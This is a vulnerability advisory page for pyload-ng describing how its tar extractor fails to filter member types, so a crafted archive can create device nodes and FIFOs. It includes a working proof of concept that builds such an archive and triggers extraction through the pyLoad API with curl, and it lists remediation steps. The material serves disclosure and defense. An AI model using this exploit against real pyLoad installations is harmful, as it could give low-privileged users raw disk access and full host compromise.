All vulnerabilities
GHSA-fr26-jjhm-638c

pyload-ng: pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)

pyload-ngpipLibraries & packages
CVSS
7.7High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed inNone listedNo source names a fixed version. Check the vendor advisory below
Published9 Oct 2026Updated 9 Oct 2026GitHub

What fixes it

No source in this snapshot names a fixed version. The vendor advisories under References are the place to check.

Description

Summary

UnTar._safe_extractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member names and symlink/hardlink targets, but never checks member types, and calls tarfile.extractall without a filter=. On Python < 3.14 the default extraction filter is fully_trusted, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise — reachable by any low-privileged user who can trigger archive extraction (ADD to supply an archive, STATUS to invoke ExtractArchive.extract_package).

Details

# plugins/extractors/UnTar.py:69-79
for member in tar.getmembers():
    if not is_within_directory(...) or <symlink/hardlink target checks>:   # names/links only
        raise ArchiveError(...)
tar.extractall(path, members, numeric_owner=numeric_owner)   # no filter=

No member.isdev() / ischr() / isblk() / isfifo() check exists, and the pre-validation in plugins/base/extractor.py:191-263 is likewise name-only. Python's tarfile only defaults to a safe filter in 3.14; supported runtimes (3.9–3.13) honor mknod for euid=0 and create FIFOs for any euid.

PoC

BASE=http://127.0.0.1:8100
# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member
python3 - <<'EOF'
import tarfile, io
t = tarfile.open('dev.bin','w')          # name it *.bin so UnTar (content-sniffed) claims it
t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))
i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666
t.addfile(i)
f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE
t.addfile(f); t.close()
EOF

# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,
# then trigger extraction
curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \
  -H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}'
curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \
  -H 'Content-Type: application/json' \
  -d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}'

ls -l <extract dir>
# → crw-rw-rw- 1 root root 1, 3 nulldev      (character device created)
# → prw-r--r-- 1 root root     pipe          (FIFO created)
# → -rw-r--r-- 1 root root     marker.txt

Negative control: the same flow with a ../evil traversal member is rejected (ArchiveError: Attempted path traversal in archive) and nothing is extracted — the GHSA-mvwx name filter works; the gap is member-type-specific. (Note: when the 7z binary is present, .tar-named files are claimed by SevenZip first by extension; the UnTar path is reached via non-mapped names — as above — content-sniffed containers, or when 7z is absent/fails.)

Impact

With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees.

Remediation

In _safe_extractall, reject (or skip) every member that is not a regular file, directory, or safe link — e.g. member.isdev() or isfifo() → ArchiveError — and pass filter="data" (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply the same member-type validation in the pre-extraction validator so all extractors share it.

References

  • GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated,

member types not).

Text from GitHub Advisory Database

Affected versions 52

  • pyload-ng, pip<= 0.5.0b3.dev101GitHub
  • pyload-ng, PyPIfrom first release, through 0.5.0b3.dev101OSV
  • pyload-ng, PyPI0.5.0a5.dev528OSV
  • pyload-ng, PyPI0.5.0a5.dev532OSV
  • pyload-ng, PyPI0.5.0a5.dev535OSV
  • pyload-ng, PyPI0.5.0a5.dev536OSV
  • pyload-ng, PyPI0.5.0a5.dev537OSV
  • pyload-ng, PyPI0.5.0a5.dev539OSV
  • pyload-ng, PyPI0.5.0a5.dev540OSV
  • pyload-ng, PyPI0.5.0a5.dev545OSV
  • pyload-ng, PyPI0.5.0a5.dev562OSV
  • pyload-ng, PyPI0.5.0a5.dev564OSV
  • pyload-ng, PyPI0.5.0a5.dev565OSV
  • pyload-ng, PyPI0.5.0a6.dev570OSV
  • pyload-ng, PyPI0.5.0a6.dev578OSV
  • pyload-ng, PyPI0.5.0a6.dev587OSV
  • pyload-ng, PyPI0.5.0a7.dev596OSV
  • pyload-ng, PyPI0.5.0a8.dev602OSV
  • pyload-ng, PyPI0.5.0a9.dev615OSV
  • pyload-ng, PyPI0.5.0a9.dev629OSV
  • pyload-ng, PyPI0.5.0a9.dev632OSV
  • pyload-ng, PyPI0.5.0a9.dev641OSV
  • pyload-ng, PyPI0.5.0a9.dev643OSV
  • pyload-ng, PyPI0.5.0a9.dev655OSV
  • pyload-ng, PyPI0.5.0a9.dev806OSV
  • pyload-ng, PyPI0.5.0b1.dev1OSV
  • pyload-ng, PyPI0.5.0b1.dev2OSV
  • pyload-ng, PyPI0.5.0b1.dev3OSV
  • pyload-ng, PyPI0.5.0b1.dev4OSV
  • pyload-ng, PyPI0.5.0b1.dev5OSV
  • pyload-ng, PyPI0.5.0b2.dev10OSV
  • pyload-ng, PyPI0.5.0b2.dev11OSV
  • pyload-ng, PyPI0.5.0b2.dev12OSV
  • pyload-ng, PyPI0.5.0b2.dev9OSV
  • pyload-ng, PyPI0.5.0b3.dev100OSV
  • pyload-ng, PyPI0.5.0b3.dev101OSV
  • pyload-ng, PyPI0.5.0b3.dev13OSV
  • pyload-ng, PyPI0.5.0b3.dev14OSV
  • pyload-ng, PyPI0.5.0b3.dev17OSV
  • pyload-ng, PyPI0.5.0b3.dev18OSV
  • pyload-ng, PyPI0.5.0b3.dev19OSV
  • pyload-ng, PyPI0.5.0b3.dev20OSV
  • pyload-ng, PyPI0.5.0b3.dev21OSV
  • pyload-ng, PyPI0.5.0b3.dev22OSV
  • pyload-ng, PyPI0.5.0b3.dev24OSV
  • pyload-ng, PyPI0.5.0b3.dev26OSV
  • pyload-ng, PyPI0.5.0b3.dev27OSV
  • pyload-ng, PyPI0.5.0b3.dev28OSV
  • pyload-ng, PyPI0.5.0b3.dev29OSV
  • pyload-ng, PyPI0.5.0b3.dev30OSV
  • pyload-ng, PyPI0.5.0b3.dev31OSV
  • pyload-ng, PyPI0.5.0b3.dev32OSV

References 3